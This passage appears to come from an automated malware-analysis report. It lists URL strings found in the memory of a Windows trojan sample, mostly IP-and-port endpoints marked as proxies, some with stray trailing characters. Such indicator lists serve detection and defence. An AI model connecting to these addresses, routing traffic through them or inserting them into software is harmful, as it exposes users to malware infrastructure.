Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.178.161.107://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.178.161.107:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.183.143.134
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.183.143.134://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.183.143.134:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.183.88.14:7497
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.183.88.14:7497://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.185.57.66
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.185.57.66://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.185.57.66:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C82D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.188.59.198
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.188.59.198://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.188.59.198:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.188.93.171:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.188.93.171:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C844B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.71.249.153:48606
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8446000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://68.71.249.153:48606://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://69.163.163.6:37884
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://69.163.163.6:37884://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://69.75.140.157:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://69.75.140.157:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://69.94.136.71:8443
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://69.94.136.71:8443://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9504000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://70.113.250.186:16099
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://70.113.250.186:16099://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://70.166.167.38:57728
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://70.166.167.38:57728://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://70.166.167.55:57745
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://70.166.167.55:57745://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://70.186.128.126:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://70.186.128.126:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://71.19.249.97:8443
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://71.19.249.97:8443://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://71.221.30.180:17330
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://71.221.30.180:17330://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C77F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C77DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://71.42.125.218:4444
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C77DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://71.42.125.218:4444://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.170:12899
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.170:12899://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.170:19551
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.170:19551://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.170:23333
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.170:23333://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.170:2413
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.170:2413://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.170:29053
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.170:29053://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.170:30569
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.170:30569://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C63C5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.170:3819
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.170:3819://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C762A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7652000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.170:5385
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C762A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.170:5385://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.171:20003
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.171:20003://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C842A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8024000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.171:5369
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8430000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.171:5369://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.171:6227
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.171:6227://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.171:8459
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.171:8459://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.172:15991
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.172:15991://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.173:10677
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.173:10677://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A3C000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.173:1475
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.173:1475://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.173:27707
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.173:27707://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.173:3283
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.173:3283://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.174:22669
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.174:22669://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:11351
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:11351://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:15265
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:15265://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:15863
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:15863://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6DB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:16355
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:16355://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:16757
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:16757://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7618000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C760E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:18939
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C760E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:18939://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:19713
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:19713://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8F66000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9051000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:20057
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8F66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:20057://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEFD000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:20421
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:20421://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:22575
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:22575://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:24091
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:24091://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:25421
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:25421://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:2597
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6577000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:2597://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:26447
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:26447://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:29129
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:29129://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C90A2000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9096000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:3093
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9096000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:3093://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:3279
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:3279://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:6047
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:6047://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:6047x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7664000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7693000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:7249
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C766B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:7249://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:7481
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:7481://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:8609
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:8609://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8DCC000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8FE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:8833
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8DCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.90:8833://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.91:18031
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.91:18031://proxyHJ
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6CAB000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.92:16757
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.92:16757://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC6D8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.92:1839
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC6D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.92:1839://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.92:18445
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.92:18445://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC7C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.92:22575
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC7C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.92:22575://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.92:26077
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://72.10.160.92:26077://proxy
